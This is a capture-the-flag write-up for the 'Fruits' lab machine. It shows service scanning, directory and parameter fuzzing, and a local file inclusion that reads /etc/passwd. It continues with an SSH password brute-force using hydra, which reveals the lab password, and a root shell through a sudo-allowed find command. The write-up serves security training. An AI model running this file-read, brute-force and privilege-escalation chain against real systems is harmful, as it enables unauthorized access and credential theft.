TheHackersLabs — https://thehackerslabs.com/

  • Platform: TheHackersLabs
  • OS: Linux
  • Difficulty: Easy

Scan

22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)

80/tcp open  http    syn-ack Apache httpd 2.4.57 ((Debian))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: P\xC3\xA1gina de Frutas

SSH (22)

  • Password based authentication
❯ ssh root@192.168.228.131
The authenticity of host '192.168.228.131 (192.168.228.131)' can't be established.
ED25519 key fingerprint is: SHA256:TF64A9yYMMZOZ2SQ5h4PGrHQ7iMqyvBMmX8ai4/Cznc
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.228.131' (ED25519) to the list of known hosts.
root@192.168.228.131's password: 

HTTP (80)

Enumeration

  • Running Apache 2.4.57
❯ curl -I 192.168.228.131
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2025 06:48:29 GMT
Server: Apache/2.4.57 (Debian)
Last-Modified: Mon, 25 Mar 2024 09:22:33 GMT
ETag: "713-61478b6aad534"
Accept-Ranges: bytes
Content-Length: 1811
Vary: Accept-Encoding
Content-Type: text/html
  • fruits.php posible interesting file
❯ gobuster dir -u http://fruits.thl \n
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \n
-x html,php,txt -t 200
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://fruits.thl
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 1811]
/fruits.php           (Status: 200) [Size: 1]
/server-status        (Status: 403) [Size: 275]
  • buscar.php (found by HTML code from main page)
<form action="buscar.php" method="GET">
    <label for="busqueda">Buscar Fruta:</label>
    <input type="text" id="busqueda" name="busqueda">
    <button type="submit">Buscar</button>
</form>

Inspecting pages

  • buscar.php does not exists
curl http://fruits.thl/buscar.php

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.57 (Debian) Server at fruits.thl Port 80</address>
</body></html>

fruits.php (found by fuzzing)

It has no output. Expecting some parameters???

❯ curl http://fruits.thl/fruits.php

❯ curl -I http://fruits.thl/fruits.php
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2025 07:51:54 GMT
Server: Apache/2.4.57 (Debian)
Content-Type: text/html; charset=UTF-8

Looking for parameters on fruits.php

ffuf -u http://fruits.thl/fruits.php\?FUZZ1\=FUZZ2 \n
-w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ1 \n
-w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ2 \n
-t 200 -fw 1 -o fuzzingParams

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://fruits.thl/fruits.php?FUZZ1=FUZZ2
 :: Wordlist         : FUZZ1: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Wordlist         : FUZZ2: /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Output file      : fuzzingParams
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

[Status: 200, Size: 1128, Words: 6, Lines: 25, Duration: 26ms]
    * FUZZ1: file
    * FUZZ2: /etc/passwd

Exploitation

  • fruits.php vulnerable to LFI
curl http://fruits.thl/fruits.php\?file\=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
bananaman:x:1001:1001::/home/bananaman:/bin/bash
  • Bananaman credentials (found by brute-force)
hydra -l bananaman -P /usr/share/wordlists/rockyou.txt \n
ssh://fruits.thl -V -f -I

[...]
[22][ssh] host: fruits.thl   login: bananaman   password: celtic

Post-Exploitation

Inspecting vulnerable PHP file we used before

fruits.php only works with file=/etc/password

<?php
// Obtener el nombre del archivo solicitado desde el parámetro 'file'
$file = $_GET['file'];

// Verificar si el archivo solicitado es "/etc/passwd"
if ($file === '/etc/passwd') {
    // Mostrar el contenido del archivo /etc/passwd
    echo "<pre>";
    echo file_get_contents('/etc/passwd');
    echo "</pre>";
} 
// No hacer nada si el archivo solicitado no es "/etc/passwd"
?>

Sudoers Config

A sudoer user can run find command with root permissions

bananaman@Fruits:~$ sudo -l
Matching Defaults entries for bananaman on Fruits:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User bananaman may run the following commands on Fruits:
    (ALL) NOPASSWD: /usr/bin/find

Privesc

  • find (sudo)** **allows privesc from bananaman to root
bananaman@Fruits:~$ sudo find . -exec /bin/bash \; -quit
root@Fruits:/home/bananaman# 
root@Fruits:/home/bananaman# id
uid=0(root) gid=0(root) grupos=0(root)

0 items under this folder.